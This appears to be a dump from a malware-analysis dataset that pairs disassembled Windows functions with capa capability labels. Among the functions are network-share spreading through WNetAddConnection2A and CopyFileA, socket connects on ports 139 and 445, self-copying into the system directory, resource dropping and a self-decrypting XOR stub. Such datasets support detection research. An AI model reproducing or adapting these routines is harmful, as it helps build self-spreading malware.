joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40490c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404b3c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40498f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404b3c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40498f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404b58
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404a18
xor eax, eax
push ebp
push 0x404a11
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00404754
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4049f6
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404b78
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4049f6
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404a18
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404b32
cmp byte [ebp - 0xd], 0
jne 0x404a5f
cmp byte [ebp - 0x12], 0
je 0x404b32
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404a78
dec ebx
cmp byte [ebx], 0x2e
je 0x404a87
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404a77
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404b32
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404ac4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404b32
cmp byte [ebp - 0xd], 0
je 0x404b32
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404b32
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404a18
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404b3c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40498f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404b3c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40498f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404b58
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404a18
xor eax, eax
push ebp
push 0x404a11
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00404754
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4049f6
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404b78
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4049f6
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404a18
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404b32
cmp byte [ebp - 0xd], 0
jne 0x404a5f
cmp byte [ebp - 0x12], 0
je 0x404b32
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404a78
dec ebx
cmp byte [ebx], 0x2e
je 0x404a87
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404a77
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404b32
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404ac4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404b32
cmp byte [ebp - 0xd], 0
je 0x404b32
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404b32
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406b0c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406b45
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403f08
jmp 0x406b4e
mov eax, ebx
mov edx, esi
call fcn.00403e6c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x406b58
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406b79
mov al, byte [esp]
jmp 0x406b7b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x407200
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x407078
mov eax, dword [0x40b3c4]
cmp byte [eax], 0
je 0x407268
mov eax, dword [0x40b324]
call fcn.00402bb4
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00405f64
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4072b0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40729e
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x40b308]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x40c710]
call fcn.00404718
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x407c30
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x407c94
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404080
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00405e20
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407c9b
lea eax, [ebp - 0xc]
call fcn.00403e18
ret

Function at 0x4088d4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, edx
mov eax, ebx
call fcn.004042a4
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4088f1
and eax, 0x10
cmp eax, 0x10
je 0x4088f5
xor eax, eax
jmp 0x4088f7
mov al, 1
neg al
sbb eax, eax
pop ebx
ret
Function at 0x408b6c
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404294
xor eax, eax
push ebp
push 0x408d6f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x10]
push 0x408d88
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 3
call fcn.0040416c
mov dword [ebp - 0x3c], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
call fcn.004042a4
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
call fcn.004040ac
push eax
mov eax, dword [ebp - 0x14]
call fcn.004042a4
push eax
push 0
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
call fcn.00408900
test eax, eax
je 0x408c12
mov ax, 3
mov word [ebp - 0xe], 1
jmp 0x408c1a
xor eax, eax
mov word [ebp - 0xe], 0
movzx eax, ax
test eax, eax
jl 0x408d44
inc eax
mov dword [ebp - 0x18], eax
mov eax, 0x40b2a8
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0xe]
test eax, eax
jl 0x408d37
inc eax
mov dword [ebp - 0x1c], eax
mov edi, 0x40b2a0
push 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.004042a4
push eax
mov eax, dword [edi]
call fcn.004042a4
push eax
lea eax, [ebp - 0x40]
push eax
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x408d2b
mov esi, 4
mov ebx, 0x40b290
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.00404008
lea eax, [ebp - 0x44]
mov edx, dword [ebx]
call fcn.004040b4
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.004088d4
test eax, eax
je 0x408d0a
push 0
push dword [ebp - 8]
push dword [ebx]
push 0x408d94
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.0040416c
mov eax, dword [ebp - 0x48]
call fcn.004042a4
push eax
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.004027ac
mov eax, dword [ebp - 0x4c]
call fcn.004042a4
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x408d0a
call fcn.00408900
test eax, eax
je 0x408d03
push dword [ebp - 8]
push dword [ebx]
push 0x408da8
lea eax, [ebp - 0x50]
mov edx, 3
call fcn.0040416c
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 4]
call fcn.0040892c
mov dword [ebp - 0xc], 0xffffffff
add ebx, 4
dec esi
jne 0x408c76
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x408d2b
dec ebx
jne 0x408d19
add edi, 4
dec dword [ebp - 0x1c]
jne 0x408c46
add dword [ebp - 0x20], 4
dec dword [ebp - 0x18]
jne 0x408c31
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408d76
lea eax, [ebp - 0x50]
mov edx, 4
call fcn.00403e3c
lea eax, [ebp - 0x14]
call fcn.00403e18
lea eax, [ebp - 8]
call fcn.00403e18
ret
Function at 0x409064
Capabilities:
Act as tcp client
Check internet connectivity via wininet
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0xc]
call fcn.00403e18
jmp 0x409085
push 0x3e8
call sub.kernel32.dll_Sleep
push 0
push 0
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x40907b
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x4090e6
mov eax, dword [ebx + 0xc]
mov edx, 0x4091bc
call fcn.004041f0
jne 0x4090b5
lea eax, [ebx + 0xc]
call fcn.00403e18
jmp 0x4090ee
mov eax, dword [ebx + 0xc]
mov edx, 0x4091c8
call fcn.004041f0
jne 0x4090d1
lea eax, [ebx + 0xc]
mov edx, 0x4091bc
call fcn.00403e6c
cmp dword [ebx + 0xc], 0
jne 0x4090ee
lea eax, [ebx + 0xc]
mov edx, 0x4091c8
call fcn.00403e6c
jmp 0x4090ee
lea eax, [ebx + 0xc]
call fcn.00403e18
mov eax, ebx
call fcn.00408edc
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0xc]
call fcn.004042a4
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40913e
or edi, 0xffffffff
jmp 0x409178
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0xc]
call fcn.004042a4
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x409178
or edi, 0xffffffff
test edi, edi
je 0x40919b
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x10]
mov ecx, dword [ebx + 0xc]
mov edx, 0x4091d4
call fcn.004040f8
mov eax, ebx
call fcn.00408db4
mov ebp, eax
push 0x200
call sub.kernel32.dll_Sleep
jmp 0x409085
Function at 0x409a64
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd1c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x2e4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404294
xor eax, eax
push ebp
push 0x409c2b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409a30
test al, al
je 0x409b69
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x2e0]
call fcn.00402b04
lea eax, [ebp - 0x2e0]
call fcn.004028a0
call fcn.00402630
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x2e0]
call fcn.00402db4
call fcn.00402630
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x2e0]
call fcn.00402db4
lea eax, [ebp - 0x2e0]
call fcn.00402e20
call fcn.00402630
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00403eb0
jmp 0x409b45
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x2e0]
call fcn.00402db4
call fcn.00402630
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x2e0]
call fcn.00402db4
lea eax, [ebp - 0x2e0]
call fcn.00402e20
call fcn.00402630
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.004040b4
lea eax, [ebp - 0x2e0]
call fcn.00402c18
call fcn.00402630
test al, al
je 0x409b09
lea eax, [ebp - 0x2e0]
call fcn.00402bc0
call fcn.00402630
mov edx, dword [ebp - 0xc]
mov eax, dword [0x40b2b8]
call fcn.0040433c
test eax, eax
jg 0x409c05
push 0xff
lea eax, [ebp - 0x114]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 8]
lea edx, [ebp - 0x114]
mov ecx, pe_nt_image_headers32
call fcn.00404080
lea eax, [ebp - 8]
mov edx, 0x409c44
call fcn.004040b4
push 0
mov eax, dword [ebp - 8]
call fcn.004042a4
push eax
lea edx, [ebp - 0x2e4]
xor eax, eax
call fcn.004027ac
mov eax, dword [ebp - 0x2e4]
call fcn.004042a4
push eax
call sub.kernel32.dll_CopyFileA
xor eax, eax
push ebp
push 0x409bfb
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040959c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x409c05
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409c32
lea eax, [ebp - 0x2e4]
call fcn.00403e18
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403e3c
ret
Function at 0x409c50
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404294
xor eax, eax
push ebp
push 0x409d15
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x40c998]
call fcn.004042a4
mov dword [ebp - 8], eax
push 0xa
mov eax, dword [ebp - 4]
call fcn.004042a4
push eax
mov eax, dword [0x40c710]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x409cff
push ebx
mov eax, dword [0x40c710]
push eax
call sub.kernel32.dll_SizeofResource
mov edi, eax
test edi, edi
je 0x409cff
push ebx
mov eax, dword [0x40c710]
push eax
call sub.kernel32.dll_LoadResource
test eax, eax
je 0x409cff
push eax
call sub.kernel32.dll_LockResource
mov esi, eax
test esi, esi
je 0x409cff
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x409cff
push 0
lea eax, [ebp - 0xc]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409d1c
lea eax, [ebp - 4]
call fcn.00403e18
ret
Function at 0x406260
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40d07c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403dae
and dword [ebp - 0x14], 0
cmp dword [0x40e920], 0
mov dword [ebp - 0x18], eax
jne 0x406313
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4063bb
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4063bb
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40e920], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40e924], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40e928], eax
call edi
push eax
call esi
mov dword [0x40e930], eax
test eax, eax
je 0x406313
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40e92c], eax
mov eax, dword [0x40e92c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40636c
cmp dword [0x40e930], ecx
je 0x40636c
push eax
call esi
push dword [0x40e930]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40636c
test ebx, ebx
je 0x40636c
call edi
test eax, eax
je 0x406363
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x406363
test byte [ebp - 8], 1
jne 0x40636c
or dword [ebp + 0x10], 0x200000
jmp 0x40639f
mov eax, dword [0x40e924]
cmp eax, dword [ebp - 0x18]
je 0x40639f
push eax
call esi
test eax, eax
je 0x40639f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40639f
mov eax, dword [0x40e928]
cmp eax, dword [ebp - 0x18]
je 0x40639f
push eax
call esi
test eax, eax
je 0x40639f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40e920]
call esi
test eax, eax
je 0x4063bb
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4063bd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402701
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401030
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419399
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x42b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x68], 0
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov al, byte [0x423788]
mov dword [ebp - 0x6c], edi
movups xmmword [ebp - 0x54], xmm0
mov byte [ebp - 0x14], al
movups xmm0, xmmword [0x423758]
movups xmmword [ebp - 0x44], xmm0
movups xmm0, xmmword [0x423768]
movups xmmword [ebp - 0x34], xmm0
movups xmm0, xmmword [0x423778]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x14], 0xf
cmp dword [edi + 0x14], 0x10
movups xmmword [ebp - 0x24], xmm0
mov dword [edi + 0x10], 0
jb 0x4010c4
mov eax, dword [edi]
jmp 0x4010c6
mov eax, edi
mov byte [eax], 0
mov ebx, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x68], 1
test ebx, ebx
je 0x401216
mov al, byte [edx]
dec ebx
mov byte [ebp + esi - 0x58], al
inc edx
mov ah, byte [ebp - 0x56]
inc esi
mov ch, byte [ebp - 0x57]
mov cl, byte [ebp - 0x58]
mov dword [ebp - 0x64], edx
mov byte [ebp - 0x5f], ah
mov byte [ebp - 0x5d], ch
mov byte [ebp - 0x5e], cl
cmp esi, 3
jne 0x401164
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x5c], al
mov al, ch
shl cl, 4
shr al, 4
add cl, al
mov al, ah
mov byte [ebp - 0x5b], cl
mov cl, ch
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, ah
and al, 0x3f
mov byte [ebp - 0x5a], cl
mov byte [ebp - 0x59], al
xor esi, esi
nop word [eax + eax]
movzx eax, byte [ebp + esi - 0x5c]
movzx eax, byte [ebp + eax - 0x54]
push eax
push ecx
mov ecx, edi
call fcn.00401bf0
inc esi
cmp esi, 4
jl 0x401140
mov edx, dword [ebp - 0x64]
xor esi, esi
mov ch, byte [ebp - 0x5d]
mov cl, byte [ebp - 0x5e]
test ebx, ebx
jne 0x4010e4
mov dword [ebp - 0x64], esi
test esi, esi
je 0x401216
mov eax, esi
cmp esi, 3
jge 0x40119e
cmp eax, 3
jae 0x401199
mov byte [ebp + eax - 0x58], 0
inc eax
cmp eax, 3
jl 0x401181
mov dl, byte [ebp - 0x56]
mov ch, byte [ebp - 0x57]
mov cl, byte [ebp - 0x58]
jmp 0x4011a1
call fcn.004082ee
mov dl, byte [ebp - 0x5f]
mov al, cl
xor ebx, ebx
shr al, 2
and cl, 3
mov byte [ebp - 0x5c], al
mov al, ch
shr al, 4
and ch, 0xf
shl cl, 4
add cl, al
shl ch, 2
mov al, dl
mov byte [ebp - 0x5b], cl
shr al, 6
and dl, 0x3f
add ch, al
mov byte [ebp - 0x59], dl
lea eax, [esi + 1]
mov byte [ebp - 0x5a], ch
mov dword [ebp - 0x58], eax
test eax, eax
jle 0x4011fb
mov esi, eax
nop dword [eax]
movzx eax, byte [ebp + ebx - 0x5c]
movzx eax, byte [ebp + eax - 0x54]
push eax
push ecx
mov ecx, edi
call fcn.00401bf0
inc ebx
cmp ebx, esi
jl 0x4011e0
mov esi, dword [ebp - 0x64]
cmp esi, 3
jge 0x401216
mov ebx, 3
sub ebx, esi
push 0x3d
push ecx
mov ecx, edi
call fcn.00401bf0
sub ebx, 1
jne 0x401207
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408182
mov esp, ebp
pop ebp
ret